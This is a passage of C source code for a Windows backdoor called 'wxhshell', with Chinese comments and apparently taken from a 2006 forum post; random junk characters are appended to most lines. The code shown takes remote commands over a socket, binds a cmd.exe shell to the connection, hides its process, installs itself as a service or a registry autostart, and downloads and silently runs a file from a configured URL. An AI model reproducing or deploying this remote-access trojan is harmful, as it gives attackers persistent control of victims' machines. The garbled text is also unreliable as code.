    switch(cmd[0]) { E]n&=\  
  H3=qe I  
  // 帮助 s)D;a-F  
  case '?': { +_oJ}KI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h]}wp;Z  
    break; #gs`#6 ,'  
  } 29] G^f>  
  // 安装 08\, <9  
  case 'i': { eJX9_6m-  
    if(Install()) fxHH;hRfv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0 ZKx<]!  
    else $Sip$\+*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vv=. -&'  
    break; |3"KK  
    }  SRDp*  
  // 卸载 p%=u#QNi  
  case 'r': { )}Kf=  
    if(Uninstall()) vr6w^&[c^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A]oV"`f  
    else p]+Pkxz]'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uZKr  
    break; 6 V=9M:  
    } rw JIx|(  
  // 显示 wxhshell 所在路径 Ioa$51&  
  case 'p': { jLm ;ty2;  
    char svExeFile[MAX_PATH]; qqY"*uJ'  
    strcpy(svExeFile,"\n\r"); oAeUvmh  
      strcat(svExeFile,ExeFile); 2uW; xfeY  
        send(wsh,svExeFile,strlen(svExeFile),0); 0IBSRFt$g&  
    break; Am|%lj+1z  
    } aeM+ d`f  
  // 重启 O m2d .7S  
  case 'b': { ?GR"FmB(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZKTz ,  
    if(Boot(REBOOT)) ;h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )F]]m#`  
    else { zHRplm+ i  
    closesocket(wsh); xfe+n$~ c  
    ExitThread(0); jm/`iXnMf  
    } `1fY)d^ZS  
    break; >0TxUc_va  
    } 0 /U{p,r6`  
  // 关机 Kis"L(C  
  case 'd': { h3 }OX{k  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?%[@Qb=2  
    if(Boot(SHUTDOWN)) [waIi3Dv\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `b7t4d*  
    else { Iit; F  
    closesocket(wsh); . 3T3E X|G  
    ExitThread(0); Lk}J8 V^2  
    } VuZuS6~#J  
    break; g1"kTh  
    } Dp-z[]})1  
  // 获取shell ]Q)OL  
  case 's': { DsCcK3 k  
    CmdShell(wsh); uz jU2  
    closesocket(wsh); @`- 4G2IU}  
    ExitThread(0); JP [K;/  
    break; y}ev ,j  
  } c4eBt))}V  
  // 退出 T+H!_ky`A  
  case 'x': { JU&c.p /  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `Eo.v#<  
    CloseIt(wsh); 6mxfLlZ  
    break; ; )@~  
    } 1K50Z.o&@  
  // 离开 [/41% B2  
  case 'q': { /"Uqa,{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R8Fv{7]c  
    closesocket(wsh); =MDys b&:  
    WSACleanup(); ],Do6 @M-  
    exit(1); P{ lB50  
    break; sWnLEw  
        } G3Aes TT|  
  } v;D~Pa  
  } Y O}<Ytx  
M&9+6e'-F  
  // 提示信息 60?%<oJ oH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T!)(Dv8@F  
} PIS2Ed]  
  } -k"/X8  
P8/0H(,  
  return; '3^'B0 3  
} Ry6@VQ"NLb  
$c(nF01  
// shell模块句柄 -;WGS o  
int CmdShell(SOCKET sock) B>P{A7Q  
{ )R1<N  
STARTUPINFO si; ^RIl  
ZeroMemory(&si,sizeof(si)); 0[W:d=C`a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U26}gT)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5vnrA'BhBU  
PROCESS_INFORMATION ProcessInfo; ~6LN6}~|.  
char cmdline[]="cmd"; @*KZ}i@._  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5 #E`=C%  
  return 0; &`2)V;t  
} 8$Y9ORs4  
lA8`l>I  
// 自身启动模式 (V2fRv  
int StartFromService(void) 8XE7]&)];  
{ iSs:oH3l  
typedef struct [FR`Z=%  
{ /R wjCUf  
  DWORD ExitStatus; l}K37f  
  DWORD PebBaseAddress; mrtb*7`$  
  DWORD AffinityMask; 4ID5q~  
  DWORD BasePriority; _u QOHwn  
  ULONG UniqueProcessId; <=C!VVk4f  
  ULONG InheritedFromUniqueProcessId; <x>M o   
}   PROCESS_BASIC_INFORMATION; or}[h09qA  
Z=vU}S>r|v  
PROCNTQSIP NtQueryInformationProcess; OYn}5RN  
IyG}H}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yEE*B:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Zp=U W*g^  
}b.%Im<3R  
  HANDLE             hProcess; v"Es*-{B  
  PROCESS_BASIC_INFORMATION pbi; U z>+2m(  
s|r3Gv|G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h>m"GpF x  
  if(NULL == hInst ) return 0; k~1?VQ+?M  
#!+:!_45  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3L}A3de'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); St*h>V6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PB\x3pV!}  
u.xnOcOH!  
  if (!NtQueryInformationProcess) return 0; s?L  
B:'US&6Lf'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,r\o}E2  
  if(!hProcess) return 0; 49HZ2`Y  
pIqeXY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c'yxWZEv  
v mk2{f,g  
  CloseHandle(hProcess); r3UUlR/Do  
ln dx"prW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^^D0^k!R  
if(hProcess==NULL) return 0; >tW#/\x{  
sLxc(d'A  
HMODULE hMod; &0JI!bR(  
char procName[255]; n /m G|)Xt  
unsigned long cbNeeded; Lt>IX")  
JDT`C2-Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P@c5pc#|  
aAUvlb  
  CloseHandle(hProcess); r\^b(rNe  
., 6-u  
if(strstr(procName,"services")) return 1; // 以服务启动 -e:`|(Mo  
Z/+#pWBI!  
  return 0; // 注册表启动 iGB}Il)  
}  Mb~F%_  
JZyAXm%  
// 主模块 $*fMR,~t&  
int StartWxhshell(LPSTR lpCmdLine) |@4' <4t  
{ 7hPY_W y  
  SOCKET wsl; ^k9I(f^c-_  
BOOL val=TRUE; {3aua:q  
  int port=0; c5GuM|*7  
  struct sockaddr_in door; :"/d|i`T  
97!;.f-  
  if(wscfg.ws_autoins) Install(); dvUic-w<j  
g3y+&Y_  
port=atoi(lpCmdLine); U # qK.  
pFjK}J OF  
if(port<=0) port=wscfg.ws_port; *J`O"a  
/9fR'EO{x  
  WSADATA data; O :Tj"@h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pYf-S?Y/V  
Qzw;i8n{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /mzlH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NTs aW}g  
  door.sin_family = AF_INET; Z(CkZll  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "=MeM)K  
  door.sin_port = htons(port); e$rZ5X  
b d!Y\OD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { },-H"Qs  
closesocket(wsl); 92oFlEJ  
return 1; 8KzkB;=n  
} lrIe"H@  
L.JT[zOfb  
  if(listen(wsl,2) == INVALID_SOCKET) { e+fN6v5pU  
closesocket(wsl); 1bwOm hkS  
return 1; ^^ixa1H<  
} CRy|kkT  
  Wxhshell(wsl); $ $mV d+  
  WSACleanup(); QoT;WM Z  
uoh7Sz5!^  
return 0; ]:J$w]\  
4^o^F-k'  
} @cXMG6:{  
uQKT  
// 以NT服务方式启动 63IM]J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a9Zq{Ysj  
{ [(7S.5I  
DWORD   status = 0; b@hqz!)l`  
  DWORD   specificError = 0xfffffff; '!B&:X)  
5\VWCI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c@L< Z`u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~((O8@}J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F*ylnB3z  
  serviceStatus.dwWin32ExitCode     = 0; sK?twg;D*|  
  serviceStatus.dwServiceSpecificExitCode = 0; l+0oS'`V*L  
  serviceStatus.dwCheckPoint       = 0; ,Ma^&ypH  
  serviceStatus.dwWaitHint       = 0; j^RmrOg ,  
NC6&x=!3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (KZ{^X?a  
  if (hServiceStatusHandle==0) return; a/xn'"eli  
@-`*m+$U6  
status = GetLastError(); 3F^Q51:t  
  if (status!=NO_ERROR) SNk=b6`9  
{ U- k`s[dv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vKAN@HSYr  
    serviceStatus.dwCheckPoint       = 0;  K_}K@'  
    serviceStatus.dwWaitHint       = 0; >Y@H4LF;1x  
    serviceStatus.dwWin32ExitCode     = status; M x" \5i  
    serviceStatus.dwServiceSpecificExitCode = specificError; z},# ~L6$q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jq0O22 -R  
    return; W: z;|FF  
  } Q\sK"~@3  
]JQULE)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $U-0)4yf  
  serviceStatus.dwCheckPoint       = 0; @d1Q"9}B  
  serviceStatus.dwWaitHint       = 0; +k R4E23:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qwAT>4  
} &m;*<}X  
Bdpy:'fJn  
// 处理NT服务事件,比如:启动、停止 l,aay-E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V0a3<6@4  
{ aw&,S"A@  
switch(fdwControl) '8kP.l  
{ ~6md !o%i  
case SERVICE_CONTROL_STOP: )NT*bLRPQ  
  serviceStatus.dwWin32ExitCode = 0; (A.C]hD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; h 'nY3GrU  
  serviceStatus.dwCheckPoint   = 0; EU Fa5C:  
  serviceStatus.dwWaitHint     = 0; ]A_`0"m.U  
  { j3ls3H&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0jWVp- y  
  } 4E}Yt$|  
  return; -m#)B~)  
case SERVICE_CONTROL_PAUSE: % |L=l{g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w_VP J  
  break; cPQiUU~W@  
case SERVICE_CONTROL_CONTINUE: YtLt*Ig%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 86a\+Kz%%L  
  break; W[r>.7>?h  
case SERVICE_CONTROL_INTERROGATE: '$+ogBS  
  break; */S_Icf  
}; Ab;.5O$y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t sRdvFFq  
} A^SgI-y|  
)D%~` ,#pQ  
// 标准应用程序主函数 @IZnFHN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~pky@O#b  
{ )fAUum  
l9"s>PU  
// 获取操作系统版本 ql~J8G9  
OsIsNt=GetOsVer(); %J-GKpo/S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >y+B  
`\ol,B_l  
  // 从命令行安装 i,VMd  
  if(strpbrk(lpCmdLine,"iI")) Install(); :[d9tm  
b| (: [nB  
  // 下载执行文件 |JsZJ9W+J  
if(wscfg.ws_downexe) { Y}KNKO;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a?oI>8*  
  WinExec(wscfg.ws_filenam,SW_HIDE); &uVnZ@o42  
} M869MDo  
*qpSXmOz  
if(!OsIsNt) { M)(DZ}  
// 如果时win9x,隐藏进程并且设置为注册表启动 oxtay7fx  
HideProc(); F((4U"   
StartWxhshell(lpCmdLine);  05^h"  
} /BL4<T f  
else tX~w{|k  
  if(StartFromService()) cm+P]8o%{  
  // 以服务方式启动 j5h-dK  
  StartServiceCtrlDispatcher(DispatchTable); uHNCSz H(  
else #[[ en  
  // 普通方式启动 tO&^>&;5  
  StartWxhshell(lpCmdLine); N6TH}~62}  
JlJ a #  
return 0; ,`sv1xwd  
}
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只看该作者 1 发表于: 2006-10-10
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